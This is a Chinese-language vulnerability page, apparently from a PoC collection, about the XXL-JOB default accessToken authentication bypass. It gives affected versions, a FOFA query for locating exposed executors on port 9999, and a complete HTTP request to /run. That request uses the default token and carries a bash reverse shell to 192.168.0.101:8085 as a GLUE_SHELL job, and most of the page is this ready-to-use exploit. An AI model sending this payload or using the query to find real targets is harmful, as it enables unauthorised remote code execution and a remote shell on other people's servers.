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63 lines
1.8 KiB
Markdown
63 lines
1.8 KiB
Markdown
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## XXL-JOB默认accessToken身份绕过漏洞
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XXL-JOB是一款开源的分布式任务调度平台，用于实现大规模任务的调度和执行。该漏洞是由于XXL-JOB 在默认配置下，用于调度通讯的 accessToken 不是随机生成的，而是使用 application.properties 配置文件中的默认值，如果用户没有修改该默认值，攻击者可利用此绕过认证调用 executor，执行任意代码，导致远程代码执行。
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## 漏洞影响
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```
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2.31< XXL-JOB <= 2.4.0
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```
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## fofa
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```
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"invalid request, HttpMethod not support" && port="9999"
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```
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## poc
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请求头加上XXL-JOB-ACCESS-TOKEN: default_token
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```
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POST /run HTTP/1.1
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Host: 127.0.0.1:9999
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate
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DNT: 1
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Connection: close
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XXL-JOB-ACCESS-TOKEN: default_token
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Upgrade-Insecure-Requests: 1
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Sec-Fetch-Dest: document
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: none
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Sec-Fetch-User: ?1
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Content-Length: 365
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{
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"jobId": 1,
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"executorHandler": "demoJobHandler",
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"executorParams": "demoJobHandler",
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"executorBlockStrategy": "COVER_EARLY",
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"executorTimeout": 0,
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"logId": 1,
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"logDateTime": 1586629003729,
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"glueType": "GLUE_SHELL",
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"glueSource": "bash -i >& /dev/tcp/192.168.0.101/8085 0>&1",
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"glueUpdatetime": 1586699003758,
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"broadcastIndex": 0,
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"broadcastTotal": 0
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}
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```
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## 漏洞复现
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```
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https://mp.weixin.qq.com/s/9vcIRCbKyisFq3vPXmiMkQ
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https://www.cnblogs.com/chm0d/p/17805168.html
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```
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